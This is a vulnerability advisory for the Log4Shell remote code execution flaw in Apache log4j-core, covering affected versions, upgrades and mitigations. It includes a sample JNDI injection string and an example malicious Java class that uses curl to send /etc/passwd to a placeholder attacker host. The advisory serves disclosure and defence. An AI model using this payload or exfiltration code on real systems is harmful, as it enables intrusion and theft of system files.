Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade org.apache.logging.log4j:log4j-core
to version 2.3.1, 2.12.2, 2.15.0 or higher.
Use this guide to scan your projects for the Log4Shell vulnerability.
org.apache.logging.log4j:log4j-core is a logging library for Java.
Affected versions of this package are vulnerable to Remote Code Execution (RCE). Apache Log4j2 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
From log4j 2.15.0, JNDI LDAP endpoints are restricted to localhost by default.
When an application uses log4j to log user input, an attacker can exploit this vulnerability, by supplying a malicious string that the application logs - for example, ${jndi:ldap://someurl/Evil}
. This causes the application to execute a malicious class supplied by an attacker’s LDAP server (someurl/Evil
in this example).
For example, the vulnerability can be used to inject this malicious class into an application:
public class Evil implements ObjectFactory {
@Override
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("curl -F 'file=@/etc/passwđ' https://someurl/upload");
return null;
}
}
This causes the application to disclose the etc/passwd
file on the system, and send it to a remote attacker.
If upgrading the version is not possible, we strongly recommend to mitigate the vulnerability using one of these methods:
JndiLookup.class
from the class path (i.e: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
. While not pertinent to log4shell, consider also removing JndiManager
, JMSAppender
and SMTPAppender
if you are not using them, as there are unconfirmed reports they could be leveraged in similar attacks in the future.LOG4J_FORMAT_MSG_NO_LOOKUPS
or the environmental variable Dlog4j2.formatMsgNoLookups
to true
. (RCE is possible in some non-default Pattern Layout configurations that use a Context Lookup or a Thread Context Map pattern.)
Upgrading your JDK versions is not enough to mitigate this vulnerability in all circumstances, as it was proven that setting the com.sun.jndi.ldap.object.trustURLCodebase
property to false
is not enough.
For more remediation advice, please visit the Log4j Remediation Cheat Sheet post.
Note: org.apache.logging.log4j:log4j-api
was originally deemed vulnerable, but Apache maintainers have since clarified that this only affects org.apache.logging.log4j:log4j-core
.